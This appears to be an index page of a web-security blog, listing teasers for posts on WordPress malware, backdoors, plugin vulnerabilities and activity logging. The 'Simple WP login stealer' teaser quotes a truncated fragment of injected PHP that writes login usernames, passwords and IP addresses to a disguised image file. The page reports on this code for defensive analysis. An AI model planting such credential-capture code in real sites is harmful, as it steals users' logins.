How Domain Expiration Can Potentially Disrupt Other Websites
Luke Leal A website owner recently reached out to us about a pop-up advertisement problem on their website which occurred any time someone clicked anywhere on the…
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WordPress Security
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Lack of controls when using WordPress’ update_option() with user input data equals plugin nightmare
John Castro As mentioned in recent posts, WordPress’ update_option() function is used to update any option in the options database table. If the permission flow when using…
Malicious Plugin Used to Encrypt WordPress Posts
Krasimir Konov During a recent cleanup, we found an interesting malicious WordPress plugin, “WP Security”, that was being used to encrypt blog post content. The website owner…
Neapolitan Backdoor Injection
Ben Martin Most of us are familiar with Neapolitan ice cream: a flavour whose distinguishing characteristic is not one single flavour but several. Many also know it…
Reverse Hardening WordPress Config
Hardening is the process of securing a website or system against known security weaknesses or potential issues to reduce the attack surface. The more functions…
Plugins Under Attack: July 2019
A long-lasting malware campaign targeting deprecated, vulnerable versions of plugins continues to be leveraged by attackers to inject malicious scripts into affected websites: Multi-Vector Attack…
Simple WP login stealer
We recently found the following malicious code injected into wp-login.php on multiple compromised websites. \ } // End of login_header() $username_password=$_POST[‘log’].”—-xxxxx—-“.$_POST[‘pwd’].”ip:”.$_SERVER[‘REMOTE_ADDR’].$time = time().”\r\n”; $hellowp=fopen(‘./wp-content/uploads/2018/07/[redacted].jpg’,’a+’); $write=fwrite($hellowp,$username_password,$time);…
Backdoor plugin hides from view
One of the most important traits for backdoors is the ability to remain undetected by most users — otherwise it may draw suspicion and be…
WPTF Hybrid Composer – Unauthenticated Arbitrary Options Update
With almost 300 installs, WPTF – Hybrid Composer is a framework that helps users easily create custom themes for WordPress. We recently noticed an increase…
Icegram Persistent Cross-Site Scripting
Icegram is a plugin that helps you collect email addresses for your newsletter. Other features include light-box popup offers, header action bars, toast notifications, and…
7 Things You Should Monitor in WordPress Activity Logs
Victor Santoyo WordPress activity logs can be helpful when troubleshooting or trying to identify a hack. In this article, you’ll learn about the seven things you should…